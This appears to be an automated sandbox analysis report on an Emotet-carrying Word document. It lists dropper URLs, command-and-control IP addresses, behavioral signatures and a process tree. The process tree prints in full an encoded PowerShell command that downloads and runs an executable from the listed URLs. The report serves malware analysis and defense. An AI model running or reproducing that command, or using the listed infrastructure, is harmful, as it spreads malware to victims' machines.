Analysis

  • max time kernel
    139s
  • max time network
    145s
  • platform
    windows10_x64
  • resource
    win10v200722
  • submitted
    30/09/2020, 18:33

General

  • Target
    追加分も.doc
  • Size 151KB
  • Sample200930-kt5mdhs84j
  • SHA256 a25023a762a2811eb12c8c977420e1d5ccceddd36adf65e48fa570bc56c540ed
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Source
URLs
  • exe.dropper

    https://www.sbobetmonte.com/wp-content/r5qS/

  • exe.dropper

    http://www.kushalbharath.com/wp-content/WsD/

  • exe.dropper

    http://dunion.ir/support/8USM0hcA4/

  • exe.dropper

    https://storypostar.com/wp-admin/N/

  • exe.dropper

    https://www.pixelstoryteller.com/wp-admin/kNz1g/

  • exe.dropper

    http://www.tianhengdaojituan.com/wp-includes/JWocY/

  • exe.dropper

    http://nb21.xyz/home/sIBOFci6/

Extracted

Family
  • emotet

C2
  • 116.91.240.96:80

  • 167.71.227.113:8080

  • 190.85.46.52:7080

  • 162.144.42.60:8080

  • 202.166.170.43:80

  • 95.216.205.155:8080

  • 120.51.34.254:80

  • 103.93.220.182:80

  • 111.89.241.139:80

  • 60.125.114.64:443

  • 45.177.120.37:8080

  • 185.86.148.68:443

  • 75.127.14.170:8080

  • 119.92.77.17:80

  • 203.153.216.178:7080

  • 172.96.190.154:8080

  • 179.5.118.12:80

  • 153.229.219.1:443

  • 139.59.12.63:8080

  • 115.79.195.246:80

rsa_pubkey.plain

Signatures

  • Emotet

    Emotet is a trojan that is primarily spread through spam emails.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Emotet Payload 4 IoCs

    Detects Emotet payload in memory.

  • Blacklisted process makes network request 1 IoCs
  • Executes dropped EXE 2 IoCs
  • Drops file in System32 directory 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 11 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\追加分も.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    PID:3952
  • C:\Windows\System32\WindowsPowerShell\v1.0\POwersheLL.exe
    POwersheLL -ENCOD JABCADkAMQBtAHUAMAA3AD0AKAAnAFAAJwArACcAMwBpACcAKwAoACcAMQA2AG0AJwArACcAcQAnACkAKQA7AC4AKAAnAG4AJwArACcAZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUATgB2ADoAVQBTAEUAUgBQAFIAbwBGAGkATABlAFwAeQA1AHEAcQA3ADcAeQBcAFUAMABBAHEAWgBJAE4AXAAgAC0AaQB0AGUAbQB0AHkAcABlACAAZABJAHIARQBDAHQAbwByAHkAOwBbAE4AZQB0AC4AUwBlAHIAdgBpAGMAZQBQAG8AaQBuAHQATQBhAG4AYQBnAGUAcgBdADoAOgAiAHMARQBjAFUAUgBpAGAAVABgAFkAUABSAE8AdABgAE8AQwBgAG8AbAAiACAAPQAgACgAKAAnAHQAbAAnACsAJwBzACcAKQArACcAMQAyACcAKwAoACcALAAnACsAJwAgAHQAJwApACsAJwBsACcAKwAoACcAcwAxACcAKwAnADEALAAgAHQAJwApACsAJwBsAHMAJwApADsAJABKAHgAZQA1ADUAZAB3ACAAPQAgACgAKAAnAEIAJwArACcAdABoAHEAJwApACsAKAAnAF8AXwAnACsAJwBfACcAKQArACcANAA5ACcAKQA7ACQAVAB2AGsAYgBwAGUAawA9ACgAKAAnAFQANwAnACsAJwBvAGoAdQAnACkAKwAnAF8AOQAnACkAOwAkAFIAdwA0AHQAdABsAHIAPQAkAGUAbgB2ADoAdQBzAGUAcgBwAHIAbwBmAGkAbABlACsAKAAoACgAJwBuADUAeQBZACcAKwAnADUAJwApACsAKAAnAHEAcQA3ACcAKwAnADcAeQBuACcAKQArACcANQAnACsAKAAnAHkAVQAwAGEAJwArACcAcQB6ACcAKwAnAGkAbgAnACkAKwAoACcAbgAnACsAJwA1AHkAJwApACkALQBSAGUAUABMAGEAYwBFACgAWwBjAGgAYQByAF0AMQAxADAAKwBbAGMAaABhAHIAXQA1ADMAKwBbAGMAaABhAHIAXQAxADIAMQApACwAWwBjAGgAYQByAF0AOQAyACkAKwAkAEoAeABlADUANQBkAHcAKwAoACgAJwAuACcAKwAnAGUAeAAnACkAKwAnAGUAJwApADsAJABXAGQAeQAwADEAcQBzAD0AKAAoACcASwAnACsAJwBnAGIAJwApACsAJwA4ACcAKwAoACcANwBkACcAKwAnADAAJwApACkAOwAkAEgAcwAzAG8AMABuAHMAPQAmACgAJwBuAGUAJwArACcAdwAtAG8AJwArACcAYgBqAGUAYwAnACsAJwB0ACcAKQAgAG4ARQBUAC4AVwBlAGIAQwBMAGkAZQBOAHQAOwAkAEQAYwA3AHYAbgBfAGcAPQAoACgAJwBoAHQAdABwAHMAOgAnACsAJwAvAC8AJwArACcAdwB3ACcAKwAnAHcAJwApACsAKAAnAC4AcwAnACsAJwBiAG8AJwArACcAYgBlAHQAbQBvAG4AdAAnACkAKwAoACcAZQAnACsAJwAuAGMAJwApACsAJwBvAG0AJwArACgAJwAvACcAKwAnAHcAcAAtACcAKQArACgAJwBjAG8AbgAnACsAJwB0ACcAKwAnAGUAbgB0AC8AJwApACsAKAAnAHIAJwArACcANQAnACsAJwBxAFMALwAqAGgAdAB0AHAAJwApACsAKAAnADoAJwArACcALwAvACcAKwAnAHcAdwB3AC4AawAnACkAKwAoACcAdQBzACcAKwAnAGgAJwApACsAJwBhAGwAJwArACgAJwBiAGgAYQByACcAKwAnAGEAJwArACcAdABoAC4AYwAnACkAKwAoACcAbwAnACsAJwBtAC8AdwBwAC0AJwArACcAYwAnACsAJwBvAG4AdABlAG4AdAAnACsAJwAvAFcAcwBEAC8AKgAnACkAKwAnAGgAJwArACcAdAAnACsAKAAnAHQAcAA6AC8ALwAnACsAJwBkACcAKwAnAHUAJwApACsAJwBuACcAKwAoACcAaQBvAG4AJwArACcALgBpACcAKQArACgAJwByACcAKwAnAC8AcwAnACkAKwAoACcAdQBwAHAAbwByACcAKwAnAHQAJwApACsAKAAnAC8AOABVAFMAJwArACcATQAnACkAKwAnADAAJwArACcAaAAnACsAKAAnAGMAJwArACcAQQA0ACcAKQArACgAJwAvACoAaAB0AHQAJwArACcAcABzACcAKwAnADoALwAvAHMAdABvACcAKwAnAHIAeQBwAG8AJwApACsAKAAnAHMAdAAnACsAJwBhACcAKQArACgAJwByAC4AYwBvACcAKwAnAG0AJwArACcALwB3AHAALQBhAGQAJwApACsAJwBtAGkAJwArACgAJwBuAC8AJwArACcATgAvACcAKQArACcAKgBoACcAKwAnAHQAdAAnACsAJwBwAHMAJwArACgAJwA6AC8ALwB3AHcAdwAnACsAJwAuACcAKwAnAHAAJwArACcAaQB4ACcAKQArACgAJwBlAGwAcwAnACsAJwB0AG8AcgAnACsAJwB5AHQAJwApACsAJwBlACcAKwAoACcAbABsAGUAcgAnACsAJwAuACcAKQArACgAJwBjAG8AJwArACcAbQAnACkAKwAoACcALwB3AHAALQAnACsAJwBhAGQAbQAnACsAJwBpACcAKwAnAG4ALwBrAE4AJwApACsAKAAnAHoAMQAnACsAJwBnAC8AJwArACcAKgBoAHQAdABwACcAKwAnADoALwAvAHcAdwB3AC4AdAAnACsAJwBpACcAKwAnAGEAJwApACsAKAAnAG4AJwArACcAaABlAG4AZwAnACkAKwAoACcAZABhAG8AagBpACcAKwAnAHQAdQBhAG4ALgAnACsAJwBjACcAKwAnAG8AbQAnACkAKwAoACcALwB3AHAAJwArACcALQBpAG4AJwArACcAYwBsACcAKQArACgAJwB1ACcAKwAnAGQAZQBzAC8AJwApACsAKAAnAEoAVwBvACcAKwAnAGMAJwArACcAWQAvACoAJwApACsAKAAnAGgAdAB0AHAAJwArACcAOgAvACcAKwAnAC8AJwApACsAJwBuAGIAJwArACcAMgAxACcAKwAnAC4AeAAnACsAKAAnAHkAegAnACsAJwAvAGgAJwArACcAbwBtAGUAJwApACsAJwAvACcAKwAoACcAcwBJAEIATwAnACsAJwBGAGMAJwArACcAaQAnACkAKwAnADYALwAnACkALgAiAHMAUABgAGwAaQBUACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQASwBsAGkAbAB0AHUAbgA9ACgAKAAnAEwAJwArACcAdgB3AHUAdgA0ACcAKQArACcAMAAnACkAOwBmAG8AcgBlAGEAYwBoACgAJABCAHkAeABmAGoAcABxACAAaQBuACAAJABEAGMANwB2AG4AXwBnACkAewB0AHIAeQB7ACQASABzADMAbwAwAG4AcwAuACIARABvAFcATgBMAGAATwBhAGAAZABgAEYASQBMAGUAIgAoACQAQgB5AHgAZgBqAHAAcQAsACAAJABSAHcANAB0AHQAbAByACkAOwAkAE4AbQBlADcAZgBfAHUAPQAoACgAJwBCACcAKwAnAGkAeABpACcAKQArACcAYwBuACcAKwAnAG8AJwApADsASQBmACAAKAAoAC4AKAAnAEcAZQB0AC0AJwArACcASQB0AGUAJwArACcAbQAnACkAIAAkAFIAdwA0AHQAdABsAHIAKQAuACIATABgAGUAbgBHAGAAVABIACIAIAAtAGcAZQAgADMAMwAwADYAMAApACAAewAuACgAJwBJACcAKwAnAG4AdgBvACcAKwAnAGsAZQAtAEkAdABlACcAKwAnAG0AJwApACgAJABSAHcANAB0AHQAbAByACkAOwAkAE0ANgBqADIAeABlAGwAPQAoACgAJwBPAHMAJwArACcAZgAnACsAJwA1ADAAcgAnACkAKwAnAHYAJwApADsAYgByAGUAYQBrADsAJABWAG8AdAAwAGQAMwBxAD0AKAAnAFkAagAnACsAJwBrACcAKwAoACcAOABlACcAKwAnAGIAZAAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQAWQB3AGQAOQB6AHIAOAA9ACgAJwBWAGUAJwArACgAJwB2ACcAKwAnAHIAcAByAGQAJwApACkA
    1⤵
    • Process spawned unexpected child process
    • Blacklisted process makes network request
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3520
    • C:\Users\Admin\Y5qq77y\U0aqzin\Bthq___49.exe
      "C:\Users\Admin\Y5qq77y\U0aqzin\Bthq___49.exe"
      2⤵
      • Executes dropped EXE
      • Drops file in System32 directory
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:1508
      • C:\Windows\SysWOW64\eudcedit\rdvvmtransport.exe
        "C:\Windows\SysWOW64\eudcedit\rdvvmtransport.exe"
        3⤵
        • Executes dropped EXE
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of SetWindowsHookEx
        PID:1716

Network

        MITRE ATT&CK Enterprise v6

        Replay Monitor

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        Downloads

        memory/1508-16-0x00000000007D0000-0x00000000007E0000-memory.dmp

        memory/1508-15-0x0000000002180000-0x0000000002192000-memory.dmp

        memory/1716-19-0x0000000001F30000-0x0000000001F42000-memory.dmp

        memory/1716-20-0x0000000001F50000-0x0000000001F60000-memory.dmp

        memory/3520-11-0x00000183F1660000-0x00000183F1661000-memory.dmp

        memory/3520-10-0x00000183F14B0000-0x00000183F14B1000-memory.dmp

        memory/3520-9-0x00007FF8B80B0000-0x00007FF8B8A9C000-memory.dmp

        memory/3952-0-0x00007FF8BF560000-0x00007FF8BFC26000-memory.dmp

        memory/3952-5-0x000001B37BD75000-0x000001B37BDBB000-memory.dmp